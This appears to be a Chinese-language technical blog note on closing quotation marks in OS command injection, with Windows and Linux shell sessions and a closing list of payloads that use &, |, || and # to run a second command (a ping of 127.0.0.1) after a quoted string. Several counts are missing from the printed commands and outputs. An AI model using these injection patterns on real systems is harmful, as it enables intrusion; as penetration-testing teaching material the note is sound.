关于OS命令注入的闭合问题

1、在Windows下

 windows下非常好办，只需要&肯定可以执行：

 C:\Users\xxx\Desktop>aaaa | ping -n  127.0.0.1

 'aaaa' 不是内部或外部命令，也不是可运行的程序

 或批处理文件。

 C:\Users\xxx\Desktop>C:\Users\chenran01.ESG\Desktop\test.bat

 C:\Users\xxx\Desktop>aaaa' | ping -n 5 127.0.0.1

 'aaaa'' 不是内部或外部命令，也不是可运行的程序

 或批处理文件。

 C:\Users\xxx\Desktop>C:\Users\chenran01.ESG\Desktop\test.bat

 C:\Users\xxx\Desktop>aaaa' & ping -n 5 127.0.0.1

 'aaaa'' 不是内部或外部命令，也不是可运行的程序

 或批处理文件。

 正在 Ping 127.0.0.1 具有  字节的数据:

 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=

 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=

 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=

 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=

 来自 127.0.0.1 的回复: 字节= 时间<1ms TTL=

 127.0.0.1 的 Ping 统计信息:

     数据包: 已发送 = ，已接收 = ，丢失 =  (% 丢失)，

 往返行程的估计时间(以毫秒为单位):

     最短 = 0ms，最长 = 0ms，平均 = 0ms

 C:\Users\xxx\Desktop>

或者把&换成||上文中的例子也可以执行。

2、在Linux下：

在Linux下就显得复杂一些了

先来看一个可以执行的例子：

 $ 'aaaa'|ping -c  127.0.0.1 # ''

 -bash: aaaa: command not found

 PING 127.0.0.1 (127.0.0.1) () bytes of data.

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.042 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.072 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.068 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.054 ms

# ' 来闭合最后的'从而达到了命令注入执行，如果去掉#就发现不行了

 $ 'aaaa|ping -c 4 127.0.0.1  ''

 >

类似的这种需要闭合前面的'

 $ 'aaaa'|ping -c  127.0.0.1

 -bash: aaaa: command not found

 PING 127.0.0.1 (127.0.0.1) () bytes of data.

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.063 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.072 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.066 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.062 ms

 --- 127.0.0.1 ping statistics ---

  packets transmitted,  received, % packet loss, time 3000ms

 rtt min/avg/max/mdev = 0.062/0.065/0.072/0.010 ms

 $ 'aaaa|ping -c 4 127.0.0.1

 >

上面是使用|的一些例子，下面来看看&

 $ 'aaa'&ping -c  127.0.0.1

 []

 -bash: aaa: command not found

 PING 127.0.0.1 (127.0.0.1) () bytes of data.

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.066 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.069 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.057 ms

  bytes from 127.0.0.1: icmp_seq= ttl= time=0.067 ms

 --- 127.0.0.1 ping statistics ---

  packets transmitted,  received, % packet loss, time 2999ms

 rtt min/avg/max/mdev = 0.057/0.064/0.069/0.010 ms

 []+  Exit                 'aaa'

 $

综上闭合OS执行的payload只需：

 #windows：

 'aaa&ping 127.0.0.1&'

 'aaa||ping 127.0.0.1||'

 #linux下：

 'aaa'&ping -c  127.0.0.1

 'aaa'|ping -c  127.0.0.1

 'aaa'|ping -c  127.0.0.1# ''